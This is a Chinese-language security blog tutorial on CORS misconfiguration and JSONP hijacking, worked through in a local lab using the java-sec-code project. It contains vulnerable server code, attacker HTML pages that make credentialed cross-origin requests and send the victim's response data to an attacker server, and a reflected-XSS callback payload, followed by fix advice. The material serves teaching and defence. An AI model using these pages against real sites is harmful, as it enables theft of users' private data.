CORS与JSONP配置不当所导致的信息泄露

CORS

CORS作用

CORS(跨域资源共享)是用来实现跨域资源访问的,比如a.comb.com 2个站,a.com要访问b.com的资源,正常情况下是访问不了的。但是有cors就可以利用ajax来访问b.com的内容了,并且在一定配置下a.com甚至可以利用b.com下的cookie,又因为是ajax请求,因此可以使用多种请求头(POST, HEAD, GET)

CORS配置

CORS的配置有2个比较重要的参数,这2个参数是在被请求的站中配置的(这里就是b.com)并且在请求头中的形式存在,即response回来的时候会有显示

用来申明什么站可以享有本站的资源

Access-Control-Allow-Origin: evil.com

用来申明是否可以带上cookie

Access-Control-Allow-Credentials: true   //true表示可以,false表示不行,默认为false

但是稍微注意下如果是如下配置,虽然可以让任意站访问资源,但是不会带上cookie的

Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true

在java中可以使用下面函数定义

String origin = request.getHeader("origin");
response.setHeader("Access-Control-Allow-Origin", origin); // 设置Origin值为Header中获取到的response.setHeader("Access-Control-Allow-Credentials", "true");  // cookie

在php中可以设置下返回的请求头

header("Access-Control-Allow-Origin:http://www.evil.com");
header("Access-Control-Allow-Credentials:true");
CORS带上cookie的利用

整个利用过程有点像CRSF,即其实是诱导用户去点击恶意的连接,并且把信息发到日志中的效果,用户的cookie是什么只有在用户的浏览器上看得到,而攻击者最多获得返回的结果

带上cookie,并不意味着能拿到cookie,最先我以为是能够拿到对方的cookie的值,但是实际上是拿不到的。举个例子

用户a  cookie:user=a;
用户b  cokkie:user=b;

请求b.com后,返回信息
用户a {'user': 'a', 'password':'123'}
用户b {'user': 'b', 'password':'456'}

而CORS,假设用户a来触发了这个漏洞,那么攻击者能够获得的是

{'user': 'a', 'password':'123'}

但他并不知道

cookie:user=a;

接下来利用需要2个站,我服务器使用的是github上的一个java漏洞项目:https://github.com/JoyChou93/java-sec-code

漏洞服务器,本机的10.10.10.1:8080/cors/vuls1

恶意脚本网站,虚拟机10.10.10.128/cors/steal.html

在本机10.10.10.1:8080上启动服务,我这里在原先的代码上新加了条cookie

    protected static String info = "{\"name\": \"JoyChou\", \"phone\": \"18200001111\"}";

    @RequestMapping("/vuls1")
    @ResponseBody
    private static String vuls1(HttpServletRequest request, HttpServletResponse response) {
        Cookie cookie1=new Cookie("aaa","AAA");
        response.addCookie(cookie1);
        // 获取Header中的Origin
        String origin = request.getHeader("origin");
        response.setHeader("Access-Control-Allow-Origin", origin); // 设置Origin值为Header中获取到的
        response.setHeader("Access-Control-Allow-Credentials", "true");  // cookie
        return info;
    }

在虚拟机服务器上的html代码如下

<!DOCTYPE html>
<html>
<body>
<div id="demo">
<button type="button" onclick="cors()">Exploit</button>
</div>
 
<script>
function cors() {
  var xhttp = new XMLHttpRequest();
  xhttp.onreadystatechange = function() {
    if (this.readyState == 4 && this.status == 200) {
      document.getElementById("demo").innerHTML = alert(this.responseText);
      //利用下面代码发送到日志中去
      //location="//10.10.10.128/cors/?response="+this.responseText;
    }
  };
  xhttp.open("GET", "http://10.10.10.1:8080/cors/vuls1", true);
  xhttp.withCredentials = true;
  xhttp.send();
}
</script>
</body>
</html>

ajax发送跨域请求的时候,它会在请求头自动带上origin字段

此时有一名用户,访问了我本机的服务

10.10.10.1:8080/cors/vuls1

正常获得了以下信息,并且有cookie了

该用户访问恶意网站,那么会出现以下页面

点击exploit后,跳转到index.php页面了,但是信息被记录在攻击者的服务器上了

当然,把跳转发到服务器上给关闭了,查看下network的请求,也可以看到它的一个工作原理

可以看到本来该站没有cookie的,但是把用户10.10.10.1:8080域下的cookie给发送过去了,并且成功的活动了返回值

CORS不能对cookie的利用

服务器端不需要cookie的话,只需要设置成这样

Access-Control-Allow-Credentials: false

接下来,再试下刚刚的请求方式

cookie依然带着的,但是没有信息回显的情况,可以理解为把cookie传了过去,但是,服务器没有接受处理请求,response的头的Access-Control-Allow-Credentials是false了

如果利用被设置成false的,可以使用缓存投毒造成xss,但是目前先挖个坑,之后再补上

修复建议

采用白名单的形式对origin进行限制

JSONP劫持

jsonp的作用

jsonp和CORS的作用都是用来跨域获取信息的,而jsonp是用get形式来获取信息,一般是有个叫callback的参数,它会利用去获取服务器的信息,然后将callback的参数作为自己的某个js函数名,来处理收到的数据

服务器端jsonp的写法

在php下可以使用

<?php
header('Content-type: application/json');
$callback = htmlspecialchars($_REQUEST ['callback']);//获取回调函数名
//json数据
//$json_data = '["id","user"]';
$json_data='({"id":"1","name":"Aaron"})';
echo $callback . "(" . $json_data . ")";
?>

在java下可以这么写

    protected static String info = "{\"name\": \"JoyChou\", \"phone\": \"18200001111\"}";

    // http://localhost:8080/jsonp/referer?callback=test
    @RequestMapping("/referer")
    @ResponseBody
    private static String referer(HttpServletRequest request, HttpServletResponse response) {
        // JSONP的跨域设置
        response.setHeader("Access-Control-Allow-Origin", "*");
        String callback = request.getParameter("callback");
        return callback + "(" + info + ")";
    }
利用

利用方式是在攻击者服务器上创建个html页面,诱导受害者去点击,即可获对应的受害者访问过的取存在漏洞缺陷的网站的个人信息,因为callback回来的js函数是攻击者服务器是的js函数,因此一般这个函数用来打印出获取的信息或者发送到日志里面去

存在jsonp服务器: 10.10.10.1

攻击者服务器:10.10.10.128

漏洞url为10.10.10.1:8080/jsonp/referer,在攻击者服务器上挂上以下的html页面

<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>JSONP劫持测试</title>
</head>
<body>
<script type="text/javascript">
function test(result)
        {
            alert(JSON.stringify(result))
        }

function sendtoserver(result){
    var xmlhttp;
    if (window.XMLHttpRequest)
    {
        xmlhttp=new XMLHttpRequest();
    }
    else
    {
	xmlhttp=new ActiveXObject("Microsoft.XMLHTTP");
    }

    var url = "http://10.10.10.128/jsonp/index.php?result=" + JSON.stringify(result);
    xmlhttp.open("GET",url,true);
    xmlhttp.send();
}
</script>

<!--<script type="text/javascript" src="http://10.10.10.1:8080/jsonp/referer?callback=test"></script>-->
<script type="text/javascript" src="http://10.10.10.1:8080/jsonp/referer?callback=sendtoserver"></script>
</body>
</html>

受害者去访问攻击者的服务器url

10.10.10.128/jsonp/index.html

那么就能返回目标在漏洞页面获取的json数据了

造成反射型xss

造成xss是因为没有规定返回值为json格式,而是text格式,所导致的

因为callback可控,而正常情况下是这样的 callback(var), 可控的话可以做到这样alert(1)//(var)

<?php
//header('Content-type: application/json');
$callback = $_REQUEST ['callback'];
$json_data='({"id":"1","name":"Aaron"})';
echo $callback . "(" . $json_data . ")";
?>

那么请求下面的url就能触发反射性xss

http://127.0.0.1/tmp/jsonp.php?callback=<script>alert(1)</script>

修复方法

对于xss很简单,直接使用json的返回格式即可

对于劫持可以利用,因为是前端的利用,可以设置referer来设置白名单排除恶意站点,注意下空referer被绕过现象

   @RequestMapping("/sec")
    @ResponseBody
    private static String sec(HttpServletRequest request, HttpServletResponse response) {
        // JSONP的跨域设置
        response.setHeader("Access-Control-Allow-Origin", "*");
        String referer = request.getHeader("referer");

        if (!SecurityUtil.checkURLbyEndsWith(referer, urlwhitelist)) {
            return "error";
        }

        String callback = request.getParameter("callback");
        return callback + "(" + info + ")";
    }

当然你也可以使用cors

参\考:

https://xz.aliyun.com/t/2745

https://cloud.tencent.com/developer/article/1380045

https://blog.csdn.net/qq_33020901/article/details/79294147

posted @ 2020-06-13 14:35  sijidou  阅读(875)  评论(0编辑  收藏  举报